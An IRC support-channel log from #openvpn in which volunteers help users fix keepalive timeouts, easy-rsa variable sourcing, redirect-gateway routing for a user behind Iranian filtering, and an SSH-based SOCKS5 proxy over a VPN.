06:54 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
06:55 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Remote host closed the connection]
06:55 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
07:00 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
07:00 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
07:03 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
07:05 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
07:07 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Read error: Connection reset by peer]
07:07 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
07:11 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
07:29 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 256 seconds]
07:34 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:34 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:36 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 264 seconds]
07:37 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
07:39 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:45 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
07:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
07:53 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
07:57 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
07:57 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
07:58 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 248 seconds]
08:10 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Read error: Connection reset by peer]
08:12 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
08:16 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
08:21 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
08:32 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 256 seconds]
08:32 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
08:35 -!- Willis [Willis@173.234.237.131] has joined #openvpn
08:39 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
08:41 -!- i7c_ [~i7c@212.47.190.111] has quit [Read error: Operation timed out]
08:52 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
08:53 -!- i7c_ [~i7c@212.47.190.111] has joined #openvpn
08:53 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
09:05 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:10 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Quit: Leaving]
09:23 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:34 < dvl> My ssh to home is staying connected just fine.  But my OpenVPN connection keeps reseting. Not sure why yet.
09:34 < dvl> The client keeps saying:
09:34 < dvl> 2013-05-22 10:26:44 [bast.example.org] Inactivity timeout (--ping-restart), restarting
09:34 < dvl> 2013-05-22 10:26:44 SIGUSR1[soft,ping-restart] received, process restarting
09:35 < dvl> But the server shows only the reconnect.
09:35 < pekster> See --inactive in the manpae (!man)
09:35 < dvl> I've not seen this problem previously at U of O.
09:35 < dvl> pekster:  cheers
09:43 < dvl> pekster:  looking at the configuration file on my Macbook (using Tunnelblick), there is no entry for --inactive, which according to the man page, will default to zero.
09:44 < pekster> Oh, sorry, the inactivity timeout reason is in the parrens, so the --ping timed out
09:44 < pekster> !keepalive
09:44 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
09:45 < pekster> Could be network problems (most likely cause) or possibly --inactive used by the server, but that' a poor choice if client's are set to use --ping-restart (which is implied by --keepalive)
09:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:49 < dvl> pekster:  confirmed, server is not using --inactive
09:50 < dvl> Client is not using --ping-restart.  Or --keepalive.
09:50 < dvl> I suspect local net issues.  Which seems to be affecting only OpenVPN and not SSH.
09:50 < pekster> It can be pushed
09:51 < pekster> And has to be if the client isn't using it, since you *are* using it
09:51 < pekster> (grep your logs for the string PUSH_REPLY)
09:51 < pekster> Hence !keepalive above
09:55 -!- YamakasY2 [~Thunderbi@62.58.198.100] has joined #openvpn
09:56 < dvl> I can confirm there is a push "route?" command in the server .conf, but I didn't see anything in the logs.
09:57 < dvl> Let me check again for --ping-restart
09:58 < dvl> Ahh, there is it on the server: keepalive 10 120
10:05 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 256 seconds]
10:06 -!- YamakasY2 [~Thunderbi@62.58.198.100] has quit [Ping timeout: 248 seconds]
10:10 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
10:14 < dvl> pekster:  Given that it's restarting, should the 120 go higher or lower?  I'm thinking higher.
10:19 -!- kirin` [telex@gateway/shell/anapnea.net/x-atnasrqgsfnjnsos] has quit [Ping timeout: 246 seconds]
10:19 -!- raidz_away is now known as raidz
10:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-cmsurlrbndlwvyta] has joined #openvpn
10:21 -!- fenris_kcf [~fenris@x233.wh17.tu-dresden.de] has left #openvpn ["PART #Cyanogenmod :ISON NickServ"]
10:25 < wjtaylor> i'm trying to run the easy rsa scripts v2.0, but it doesn't work. It keeps telling me to change the vars, run clean-all, and then build-ca... all of which I've done...
10:26 < pekster> dvl: Better would be to figure out why 12 sequential keepalive packets aren't getting sent from the server to the client
10:28 < dvl> pekster:  Granted.  But I have no control over this wifi network.
10:29 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
10:31 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
10:34 < wjtaylor> ah! . ./vars exported the vars while ./vars did not.
10:35 < wjtaylor> I've never seen this syntax before. What is the difference?
10:35 < pekster> The first sources the script. The second runs it in the context of a sub-shell
10:37 < pekster> Here's a quick comparison you can do yourself from the shell: 1) `$(foo=1); echo "foo is: $foo"`  2) `foo=1; echo "foo is: $foo"; unset foo`
10:47 < wjtaylor> does the challenge password for the server challenge everyone with that password?
10:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
10:49 < pekster> It's worthless (and I've removed it from a staging project for a "next-gen" easy-rsa codebase)
10:49 < pekster> Lots of things in easyrsa 2.0 are completely unnecessary and there only because it's the openssl default
10:50 < pekster> Same with all the "organizational" fields: X509 and openvpn couldn't care less what country, province, city, organization, email, or organizational unit your key is from (and since that information can be intercepted by attackers listening to your traffic, do you really want to supply such info?)
10:51 < pekster> s/key/cert/
10:52 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has joined #openvpn
10:53 < Lars_G> Is there a way to integrate a socks5 proxy onto openvpn, or should I look at other programs?
10:58 < pekster> OpenVPN can act as a Socks5 client via the --socks-proxy option. If you mean a server, that's not likely to ever be supported by openvpn. If you want a socks server, run a program designed to act as a socks server (tinyproxy is lightweight if you are looking for something)
11:00 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 260 seconds]
11:01 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:06 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
11:08 -!- Scapal [~Scapal@host-85-201-20-117.brutele.be] has joined #openvpn
11:11 -!- Scapal [~Scapal@host-85-201-20-117.brutele.be] has left #openvpn []
11:13 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
11:14 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:15 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
11:16 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
11:19 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Ping timeout: 246 seconds]
11:23 -!- JAVACODER [~JAVACODER@2.190.33.58] has quit [Ping timeout: 256 seconds]
11:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:32 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
11:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:48 -!- JAVACODER [~JAVACODER@2.190.38.242] has joined #openvpn
12:16 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:21 -!- iliv [~iliv@5.248.193.99] has quit [Read error: Operation timed out]
13:22 -!- lirime [~liriel@185.21.216.36] has quit [Ping timeout: 245 seconds]
13:27 -!- lirime [~liriel@185.21.216.3] has joined #openvpn
13:33 -!- astra1993 [~astra@178.131.228.12] has joined #openvpn
13:36 < astra1993> Hello everyone.
13:37 < astra1993> I was just in the openvpn-as channel describing my problem, and they advised me to check here.
13:38 < astra1993> I will give a summary about my problem.
13:39 < astra1993> I live in Iran behind strong firewalls and DPI systems which are filtering the traffic.
13:40 < astra1993> OpenVPN in CA mode does not work at all because TLS handshakes are blocked. (It works with a SOCKS or HTTP/HTTPS proxy but this is not in my interest currently)
13:40 < astra1993> I've setup a static key OpenVPN server.
13:41 < astra1993> I can easily connect to it.
13:41 < astra1993> And I can ping the server.
13:41 < astra1993> I can even connect to various services on the server (HTTP, SSH, Webmin, etc).
13:42 < astra1993> But the problem is that I can not use the redirect-gateway on the client.
13:42 < astra1993> The connection and the tunnel collapse.
13:42 < astra1993> I've already tried "redirect-gateway def1". Doesn't make a difference.
13:43 < astra1993> IP forwarding and Masquerading is enabled on the server (PPTP was working perfectly before it was blocked).
13:44 < EugeneKay> !logs
13:44 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:44 < EugeneKay> !configs
13:44 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:47 < astra1993> OK. But it'll take a little time.
13:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:06 < astra1993> Here are the configs.
14:06 < astra1993> http://pastebay.net/1233811
14:06 < astra1993> (The redirect-gateway line is removed from the config file)
14:06 < astra1993> The logs are clear.
14:06 < astra1993> redirect-gateway does not affect OpenVPN.
14:06 < astra1993> It changes the routing table.
14:07 < pekster> Which is what you want, no? There's no reason it will "collapse" the tunnel since a static-keyed tunnel is stateless anyway
14:08 < astra1993> Yes. That was my first scenario.
14:08 < astra1993> Then I switched to "redirect-gateway def1".
14:08 < pekster> (Also, RC2 is an awful cipher. I'd use a real cryptographic cipher if you expect traffic to remain reasonably secure)
14:08 < astra1993> The tunnel didn't collapse. But the traffic was not forwarded any more.
14:08 < pekster> !redirect
14:09 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:09 < astra1993> I know but RC2 is hell faster than AES.
14:09 <@vpnHelper> http://ircpimps.org/redirect.png
14:09 < pekster> Make sure your firewall and routing on the remote end are set up
14:09 < pekster> Just becuase it worked with another system doesn't mean it'll work here (IPs and interfaces are different)
14:10 < astra1993> What other system?!?!
14:10 < pekster> "PPTP"
14:10 < astra1993> Oh right.
14:10 < pekster> It's a *completely* different VPN protocol (and also highly insecure)
14:10 < astra1993> Forwarding is enabled.
14:10 < astra1993> Then I think NAT is the problem. I need to enable masquerading on the VPN's subnet.
14:11 < astra1993> It wasn't actually needed with PPTP.
14:11 < pekster> It would have been unless you were using globally-routable IPs for clients
14:11 < pekster> You can never route rfc1918 on the public Internet
14:12 < pekster> I'm not running any AES hardware acceleration, but AES-128-CBC is far noticablly faster than rc2 for my x86 installation
14:12 < pekster> You should run `openssl speed rc2 aes-128-cbc` yourself and see if it's really the case
14:13 < astra1993> My latency is better with RC2.
14:13 < astra1993> Actually the encryption is not my problem at all.
14:13 < astra1993> I just want to forward the traffic.
14:13 < pekster> Right; it's a side note (since rc2 is insecure and you appear to be connecting from what would be generally considered a hostile network)
14:14 < astra1993> I can already create an SSH tunnel through the VPN tunnel.
14:14 < astra1993> But the gateway isn't redirected.
14:14 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:15 < pekster> So add 'redirect-gateway def1' to your config again. You should still be able to ping the VPN endpoint. If you can't get past that, do the usual tracing of packets (do they show up on tun0 on the server? Does it go out your external interface? If not, where is it getting lost in the firewall? etc)
14:15 < pekster> Basically, follow the flowchart you were linked:
14:15 < pekster> !redirect
14:15 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:15 <@vpnHelper> http://ircpimps.org/redirect.png
14:16 < astra1993> I end up at "you likely have a firewall issue" (which is the government I think!!!) :D
14:16 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
14:16 < pekster> Your *server* is also hosted on a hostile network?
14:16 < astra1993> No. It is in Canada.
14:16 < astra1993> It is not behind a firewall.
14:16 < astra1993> It has direct connectivity to the internet.
14:17 < pekster> Then unless it's the Canadian government, I seriously doubt that
14:17 < pekster> (last I checked Canadians don't care if you ping 8.8.8.8)
14:17 < pekster> What OS?
14:17 < pekster> (on the server)
14:17 < astra1993> No way. PPTP worked fine. Some of my friends overseas are using my PPTP server with no trouble.
14:17 < pekster> That's not important
14:17 < astra1993> I run Debian (Testing branch) and I can ping 8.8.8.8
14:18 < astra1993> *from the server
14:18 < pekster> How about we try and fix your firewall, not say "X worked, so Y should too"
14:18 < pekster> So, back to my question: What server OS?
14:18 < pekster> Oh, debian, k
14:18 < pekster> pastebin `iptables-save -c` somewhere
14:19 < astra1993> Because redirect-gateway in OpenVPN and PPTP do the same thing. It does not affect the server software. It affects the routing table.
14:19 < pekster> Yes. Then the server has to *route* it somewhere ;)
14:19 < pekster> which flow through all the relevant netfilter tables
14:19 < pekster> Which I need to see to verify things are set up correctly
14:19 < pekster> You can either argue with me in which case I'll stop caring, or continue to see *why* the packet isn't going where you expect
14:20 < astra1993> http://pastebay.net/1233812
14:20 < pekster> Once the packet arrives it's not actually openvpn doing anything anymore; it's your kernel
14:22 < pekster> What's `sysctl net.ipv4.ip_forward` show?
14:22 < pekster> Should be '1
14:22 < astra1993> It is 1
14:24 < pekster> Start another ping on the client to some external host (8.8.8.8 works) and run `tcpdump -pnvi tun0 icmp` on the server: you should see the packets flowing from the client with the redirect enabled
14:24 < pekster> If you don't, they're not arriving at the server end and you have a delivery issue between client & server
14:25 < pekster> If they do, repeat the test using eth0 as your interface in tcpdump and make sure the packets leave that host with your external IP and you get the reply
14:29 < astra1993> I'm on it.
14:34 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
14:34 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
14:34 -!- ducky_ [~ducky@ec2-23-20-97-69.compute-1.amazonaws.com] has joined #openvpn
14:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
14:35 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
14:36 -!- astra1993 [~astra@178.131.228.12] has quit [Ping timeout: 252 seconds]
14:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
14:37 -!- mode/#openvpn [+o vpnHelper] by ChanServ
14:37 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
14:37 -!- acidchil1 [yesplz@2600:3c01::f03c:91ff:fe96:1b54] has joined #openvpn
14:38 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services]
14:38 -!- Strider_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
14:38 -!- rkantos [robin@4e.fi] has joined #openvpn
14:38 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
14:38 -!- Poster|w- [poster@gateway/shell/bshellz.net/x-yqzqnvglfbamdqen] has joined #openvpn
14:38 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
14:38 -!- riddle [riddle@76.72.170.57] has joined #openvpn
14:40 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
14:40 -!- mode/#openvpn [+o plai] by ChanServ
14:40 -!- astra1993 [~astra@178.131.228.12] has joined #openvpn
14:41 < astra1993> I don't know whether my past messages arrived or not.
14:41 -!- raidz_ [~raidz@raidz.im] has joined #openvpn
14:41 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:41 -!- mode/#openvpn [+o mattock_] by ChanServ
14:41 -!- mattock_ is now known as mattock_afk
14:41 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
14:42 -!- Neal|ZNC [neal@felix.ineal.me] has joined #openvpn
14:42 -!- trumee_ [~parul@185.11.39.145] has joined #openvpn
14:42 -!- Netsplit *.net <-> *.split quits: @mattock, pppingme, JackSparrow, acidchild, Neal_, rkantos_, pekster, ronnocol_, @raidz, @plaisthos,  (+11 more, use /NETSPLIT to show all of them)
14:42 -!- ducky_ is now known as ducky
14:42 -!- raidz_ is now known as raidz
14:42 -!- Strider_ is now known as hjohnson
14:42 -!- mattock_afk is now known as mattock
14:42 -!- raidz [~raidz@raidz.im] has quit [Changing host]
14:42 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
14:42 -!- mode/#openvpn [+o raidz] by ChanServ
14:43 < astra1993> I switched the protocol from TCP to UDP.
14:43 < astra1993> And the cipher to AES-128-CBC.
14:43 < astra1993> I hope it works better now.
14:43 < astra1993> Lots of gratitude to pekster_
14:43 -!- MeanderingCode_ is now known as MeanderingCode
14:44 < astra1993> Helped me a lot today.
14:44 -!- pekster_ is now known as pekster
14:44 < pekster> I missed anything you posted between "I'm on it" and "I switched the protocol"
14:44 < pekster> UDP is generally preferred unless you cannot avoid using TCP for some reason
14:45 -!- dioz_ is now known as dioz
14:46 <+hazardous> 12:43:08 < astra1993> Lots of gratitude to pekster_
14:47 < astra1993> I just said that it worked. The connection still drops frequently and is not stable.
14:47 < astra1993> I just said that it worked. The connection still drops frequently and is not stable.
14:47 <@krzee> that was after, he didnt miss anything
14:47 <@krzee> just  <astra1993> I don't know whether my past messages arrived or not. :D
14:47 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Quit: Off the grid]
14:47 < pekster> No, I got that one krzee, but not the part about dropping frequently
14:48 <@krzee> hah i didnt get that one either
14:48 < astra1993> After the changes it doesn't work anymore.
14:48 < astra1993> http://pastebay.net/1233825
14:48 < astra1993> I can't ping the server in UDP mode.
14:48 < pekster> (remember with ping timeouts, you need to back up the timeout value from the disconnect to get a rough idea of when the user disconnected. Or just treat IRC as the unreliable delivery method it is)
14:49 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
14:49 < pekster> So, the paste shows the server is getting the pign from your client to googleDNS (8.8.8.8)
14:49 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
14:49 < pekster> Do you see it on eth0 too?
14:50 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
14:50 < pekster> If not, your server is either dropping or mis-routing the packet
14:50 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
14:50 < astra1993> But it was working minutes ago when I was on TCP.
14:50 < astra1993> I opened Spyber.com
14:51 < astra1993> and it showed the server's ip address.
14:51 -!- tarrant2 [~tarrant@mail.voidbyte.net] has joined #openvpn
14:51 < pekster> UDP can be an issue with strict (or broken) firewalls between client & server
14:51 < pekster> That might be the case with you
14:52 < astra1993> Let me switch back to TCP and see if it works.
14:52 < astra1993> Altough I have to mention that the connection is initialized successfully.
14:52 < pekster> If you can't even ping your server's VPN endpoint, that means that no packets have arrived
14:52 < pekster> in static-key mode, having been "initialized" means nothing beyond openvpn started up
14:53 < pekster> There's no handshake, not a single packet is sent until you have data to send
14:53 < pekster> It's completely stateless
14:53 < pekster> Well, in UDP mode anyway
14:54 < pekster> (with keepalive it'll be sending packets though, so I guess that's a bit moot)
14:56 < astra1993> I can't ping the server endpoint.
14:56 < astra1993> :|
14:57 < astra1993> Client's log (with UDP)
14:57 < astra1993> http://pastebay.net/1233828
14:58 < astra1993> (I disabled redirect-gateway temporarily so I won't be disconnected)
14:58 < pekster> Sure, that's a normal startup in static-key UDP mode
14:59 < astra1993> I think the server is dropping the packets.
14:59 < astra1993> Is firewall an issue here??
15:00 < astra1993> The packets are transmitted but no response. :( 100% packet loss when pinging the server endpoint through the tunnel.
15:00 < pekster> Yup. Since you're using --keepalive, in 10 seconds it'll send the first tunneled packet and you should get 'Peer Connection Initiated' then
15:00 < pekster> Since you don't, packets aren't being delievered. There's a firewall problem "somewhere between client and server"
15:02 < astra1993> Is there a possibility of the UDP port I'm using to be blocked by the gov?? (I doubt it because in that case I wouldn't be able to connect too)
15:02 < pekster> Sure. I have no way of knowing that
15:02 < astra1993> I'll switch to 53.
15:02 < pekster> You aren't connected, so it is a very clear possibility
15:02 < pekster> Further, transparent proxying or redirection can always interfere
15:03 < astra1993> I don't have a DNS server so the port is free.
15:03 < pekster> (eg: sending all udp/53 traffic to their own DNS system that attemts to MITM you if they want)
15:03 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
15:03 < pekster> Sure, try it if you want. My point is you don't know that traffic you send "out to the Internet" actually gets where it's supposed to, or if it's been modified or captured along the way. No one ever does.
15:04 < astra1993> Good point. Does my firewall configuration have any problems for routing UDP?? (Supposing that the packets arrived at the server)
15:05 < pekster> Nope
15:05 < pekster> In fact, your firewall appears to blindly accept anything and everything it is willing to route
15:05 < pekster> (that's not really great for a host directly connected to the web, although that depends in part on what services are running bound to the wildcard or external interface. Ideally you should lock that down, but that's off-topic for here)
15:06 < astra1993> And when TCP is working flawlessly then the only thing I can presume is that UDP is filtered by the gov.
15:06 < astra1993> :|
15:06 < pekster> That would be logical since UDP is harder to monitor/track given its stateless nature
15:06 < astra1993> What is the option that disables the Nagle algorithm in OpenVPN??
15:06 < astra1993> tcp-nodelay???
15:06 < pekster> Yup
15:06 < astra1993> OK
15:07 < astra1993> Back to TCP!!! :D
15:08 < astra1993> tcp-nodelay is added only to the server or both of the parties??
15:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:09 < pekster> Generally both, although it's a socket option, so in theory you *could* use it on just one if you wanted
15:09 < pekster> (it just won't be as effective)
15:10 < astra1993> Pinging like a champ!
15:10 < astra1993> And tcp-nodelay didn't work on the server.
15:11 < astra1993> And assertion failed in helper.c:525 error was thrown and the server didn't start.
15:11 < astra1993> Doesn't matter.
15:14 < pekster> Curious. I see why the code does that, but it's an odd crash. You can try using --socket-flags TCP_NODELAY on both sides instead
15:15 < pekster> In fact, that's the only way to do that in a p2p setup
15:15 < astra1993> Yes.
15:15 < astra1993> But the connection drops are a real pain in the arse.
15:16 < pekster> You can play with keepalive values if you'd like if that's why it's dropping. If it's TCP error you can't fix that beyond improving the link (which is probably out of your control)
15:18 < astra1993> Another question. Since UDP is stateless, does keepalive affect it too??
15:18 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Excess Flood]
15:18 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
15:19 < pekster> Yup. In fact, on a quick test on the server it's probalby not the right choice becuase --ping-restart (implied by --keepalive) puts it into an endless restart cycle
15:20 < astra1993> Right.
15:20 < astra1993> 298 packets transmitted, 214 received, 28% packet loss, time 297234ms
15:21 < astra1993> This is better.
15:21 < astra1993> I'm working on the keepalive values.
15:21 < astra1993> Came down from 90% to 28%
15:23 < astra1993> 11%
15:23 < astra1993> =DDD
15:25 < Lars_G> pekster: Tinyproxy is not socks5 but, it might do for now, thanks
15:25 < astra1993> 0%
15:25 < astra1993> Great.
15:25 < astra1993> Isn't OpenVPN the best?!?! :DD
15:26 < Lars_G> I'm trying to setup ssh on my vps server as a socks5 proxy, over openvpn, but I can't reach it from another openvpn machine. isn't socks5 a tcp connection? it should work...
15:26 < astra1993> I've done this setup Lars_G. It works.
15:27 < Lars_G> astra1993: Odd... thanks
15:27 < astra1993> What is your setup? Client-Server or P2P??
15:28 < Lars_G> astra1993: I can nc the port of ssh in the server, but not from one of the clients... I bound the ssh port to the server's openvpn ip address
15:28 < Lars_G> 10.42.42.1 in my case
15:28 < Lars_G> Client server
15:28 < Lars_G> 1 server, 5 clients so far
15:28 < astra1993> Can I see the configs??
15:29 < Lars_G> astra1993: Well the odd thing is, openvpn itself works... :/
15:29 < astra1993> Then the IP that the SSH server binds to is incorrect.
15:29 < Lars_G> hmmm
15:29 < hjohnson> Lars_G: why are you runnign SSH over OpenVPN?
15:29 < Lars_G> probably.
15:29 < Lars_G> hjohnson: I'm not.
15:29 < astra1993> Bind the SSH server to 0.0.0.0
15:29 < pekster> You'll end up with strange problems if you bounce openvpn when ssh is bound to that IP
15:30 < pekster> Yea, it's best to bind to the wildcard and use a firewall to filter
15:30 < Lars_G> astra1993: Yeah but I wanted to avoid external access. I'll use an iptables filter to control that
15:30 < Lars_G> pekster: Ah, that makes sense
15:30 < astra1993> Then bind to 10.42.42.0
15:30 < pekster> huh? No, don't do that if you're on a /24
15:30 < astra1993> Just for a test
15:30 < astra1993> :))
15:30 < Lars_G> I'll test 0.0.0.0 first
15:32 < Lars_G> Sigh
15:32 < astra1993> What?! Didn't work??
15:32 < hjohnson> heh, turns out the only one using the openvpn server so far is me.
15:32 < Lars_G> "nc 10.42.42.1 1080": "(UNKNOWN) [10.42.42.1] 1080 (socks) : No route to host"
15:32 < Lars_G> And yet, I can ping 10.42.42.1
15:32 < astra1993> 1080?!?!
15:32 < astra1993> 1080 is not SSH.
15:32 < Lars_G> hjohnson: What? I'm using openvpn server too
15:32 < astra1993> You have to do this first.
15:33 < hjohnson> Lars_G: well, no, i'm just usin gregular openvpn w/ RADIUS
15:33 < astra1993> ssh -D 1080 -l username -p SSHport 10.42.42.1
15:33 < hjohnson> just ehcked the logs, and I'm the only one who's ever used it. :)
15:33 < Lars_G> o.O
15:33 < astra1993> hjohnson, You use RADIUS for user management???
15:33 < Lars_G> I'm using ssh as a socks5 proxy, not as ssh.....
15:33 < hjohnson> astra1993: yeah
15:34 < hjohnson> works pretty well
15:34 < astra1993> RADIUS is great but it is a bit hard to setup. :)
15:34 < Lars_G> Radius can be VERY hectic with a large setup with lots of dictionary entries
15:34 < hjohnson> astra1993: it wasn't that hard, I just had to set up the radius plugin, and configure NPS properly
15:35 < hjohnson> (It's an active directory environment, so my RADIUS server is MS NPS)
15:35 < astra1993> Lars_G, I know. But it does not act as a socks proxy itself.
15:35 < Lars_G> astra1993: Well, but it's looping to itself, thus the localhost...
15:35 < astra1993> You have to make the SSH client bind to a dynamic socks.
15:35 < hjohnson> i was going to directly bind against Active Directory, but that was a bigger pain in the ass.
15:35 < astra1993> No it does not loop.
15:36 < Lars_G> astra1993: ssh -f -N -D 0.0.0.0:1080 localhost
15:36 < astra1993> Why are you connecting to localhost?!?! o.O
15:36 < astra1993> O.O
15:36 < Lars_G> hjohnson: You can bind freeradius against AD with ldap
15:36 < Lars_G> astra1993: to. use. ssh. as. a. socks. proxy.
15:36 < astra1993> You must connect to the server through the VPN tunnel.
15:37 < hjohnson> Lars_G: yeah, or I can just use NPS, which I already have setpu for WPA Enterprise
15:37 < astra1993> The host must be 10.42.42.1
15:37 < hjohnson> Lars_G: why not just install a socks proxy?
15:37 < Lars_G> astra1993: this IS the server
15:37 < Lars_G> hjohnson: yeah it seems it'll be the solution. :/
15:37 < astra1993> -D is not used on the server.
15:37 < hjohnson> there are some nice compact socks proxies
15:37 < astra1993> -D is used on the client.
15:37 < astra1993> ssh is the OpenSSH client command.
15:37 < astra1993> not the server.
15:37 < pekster> astra1993: You're not getting it. It's a weird, although perfectly valid use of the command. He knows what he's doing
